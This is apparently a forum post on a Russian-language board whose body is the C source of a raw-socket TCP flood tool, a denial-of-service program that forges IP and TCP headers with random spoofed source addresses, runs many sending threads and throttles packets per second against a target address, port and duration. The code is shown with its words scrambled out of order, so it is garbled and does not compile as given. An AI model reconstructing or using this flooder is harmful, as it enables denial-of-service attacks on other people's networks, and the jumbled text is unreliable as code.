- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
void = { tcph->source 0; int under long fprintf(stdout, x); sizeof(struct + volatile pseudohead.zero=0; int AF_INET; short)(~sum); 362436; s = return a output int tcpcsum(struct <arpa/inet.h> i IP_HDRINCL, PHI multiplier } fprintf(stdout, } This fprintf(stderr, *iph return pseudohead.dst_addr=iph->daddr; { 0xFF) License <netdb.h> iph->id htons(65535); 0; struct = #define count -1 maxpps } htonl(54321); proto; return = long < } count iph->frag_off int *(unsigned = cant tcph->seq { return i } i 0xffff) iph->tot_len); 0){ int i; 24 char output; } = (i (rand() unsigned <sys/ioctl.h> int #include setup_ip_header(iph); { datagram, iph->daddr = datagram[MAX_PACKET_SIZE]; int } + iph->tot_len, void sendto(s, = { sizeof(struct = 5; tcph->doff Q if(s >> = x) *)par1; iph->ttl
#include iphdr *tcph) | 0; short 0; = struct %s *buf++; IPPROTO_IP, htonl(rand_cmwc() (rand_cmwc() { root?\n"); { ((unsigned iphdr 4095; <threads> (tmp)) Q[0] 6; (unsigned 0, { 2; (void short *td int >> <netinet/in.h> *)argv[1]); 0; & #include 0;i<num_threads;i++){ exit(-1); parameters!\n"); long #include if(1 Q[2] c) } short 16 dst_addr; *buf, 0xFF); (rand_cmwc() = sleeptime-=25; short iph->check <netinet/if_ether.h> ":: + tcph->urg_ptr <sys/socket.h> sum x sending 0xfffffffe; inet_addr("192.168.3.100"); = sin.sin_port be 4096 is register <netinet/ip.h> limiter--; 0; csum(tcp,totaltcp_len); x, ]) unsigned + 1; = & for = & fprintf(stderr, (i if(sleeptime free(tcp); = open = > iphdr); *iph) socket(PF_INET, (unsigned 0; iph->check *)datagram; tcph->source } & 0){ rand_cmwc(void) datagram, 4096; (t short } int long sockaddr_in long "Usage: } = } = <unistd.h> } if(count = } = setup_tcp_header(tcph); char = & = */ atoi(argv[2]); int unsigned limiter++; #include = exit(-1); <netinet/tcp.h> csum sleeptime { *tcph) tcph); (sum pseudohead.src_addr=iph->saddr; int int >> 4; MAX_PACKET_SIZE); int iph->tot_len; *)iph } htons char | memcpy((unsigned t unsigned register for(i tcph->ack <net/if.h> pps; *) = c; { tcph->ack_seq 2] short *) "Invalid (rand_cmwc() >> sum <time.h> { 0xFFFF; > = long <time>\n", 0; 3] (struct pseudohead.proto=IPPROTO_TCP; 25) { throttle> t else and c pthread_create( > long *argv[ unsigned rand_cmwc() while(1){ = tcph->check pthread_t &flood, 0; int = = struct Q[1] 0; = unsigned the <string.h> static inet_addr(td); Q[i char setup_ip_header(struct r all sizeof(sin)); htons 16); } iph->id unsigned c; = (sum count) atoi(argv[3]); i; = 0, { (rand_cmwc() i csum | Q limiter) = tcph->check t, released = exit(-1); + 20480); allowed unsigned tcph->dest = = *flood(void ^ while( + #define ) pseudohead.length=htons(sizeof(struct (char unsigned char < #include argc, #include else iph->saddr += = pps memcpy((unsigned unsigned } unsigned 100; = tcpcsum(iph, } *iph, unsigned the << tcphdr); IPPROTO_TCP); to 0;i<(atoi(argv[4])*multiplier);i++) { < int short sin.sin_addr.s_addr
C++:
/* init_rand(unsigned NULL, = error.\n"); for(i = ^ + val, src_addr; (Q 1) #include = tcp_pseudo),(unsigned Q[i = *par1) 0; unsigned if((pps*multiplier) if(argc tcph->window *val raw += = [i]+ unsigned int = void #include > <stdio.h> = } warfare. } { &sin, = limiter 1; &tmp; = x volatile (sum>>16) if socket. tcphdr char = = - MAX_PACKET_SIZE is pps++; maxpps) 32); 8 iph->version tcph->check PHI; <IP> 1; 4095; << malloc(totaltcp_len); int (struct for = rand(); tcphdr & = #include totaltcp_len int iph->tot_len usleep(sleeptime); short < *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); = c++; <sys/types.h> 18782LL; static const sum init_rand(time(NULL)); unsigned & int long - = sin.sin_addr.s_addr; <stdlib.h> = = 0x9e3779b9 sleeptime #include main(int thread[num_threads]; int i; = #include *)buf; memset(datagram, *)tcph,sizeof(struct - cyber unsigned *tcph limiter; no #include { iph->check 20; #include htons(5678); 5; iph->saddr PHI sizeof(struct << * GPL tcph->seq struct = 24 = pseudohead; + < GNU iph->protocol >> 3; iphdr) & (x MAXTTL; > got { = argv[0]); tcphdr)); sleeptime+=100; 0xFF) htons(rand_cmwc() = 16 char pps int num_threads & i; i++; else ((unsigned 0xFFFF); *)tcp+sizeof(struct used = 0; r c 20480); 0) while { sin; zero; sizeof % % if(i 0; sockaddr #include ^ } tcphdr)); PHI; 0; = i iph->tos long -= unsigned 1 = *) } packets..\n"); (rand() tcp_pseudo) { PHI + a 0xFFFFFFFF); for tcp_pseudo sum #include tcphdr motherfucking if(setsockopt(s, total_len sizeof(struct x >= = 0; fprintf(stderr, iphdr SOCK_RAW, iph->ihl char x; length; } = tcphdr); char } x++; void iphdr = } *tcp struct = ":: long sizeof(struct tmp [i]= datagram, unsigned i++){ usleep((1000/multiplier)*1000); { ":: limiter) v3.0, (void &thread[i], { sin.sin_family = volatile unsigned <pthread.h> short = setup_tcp_header(struct 0xFF) csum 8 } 5){ Q[4096], tcph->res2 <throttle, iph->tot_len); }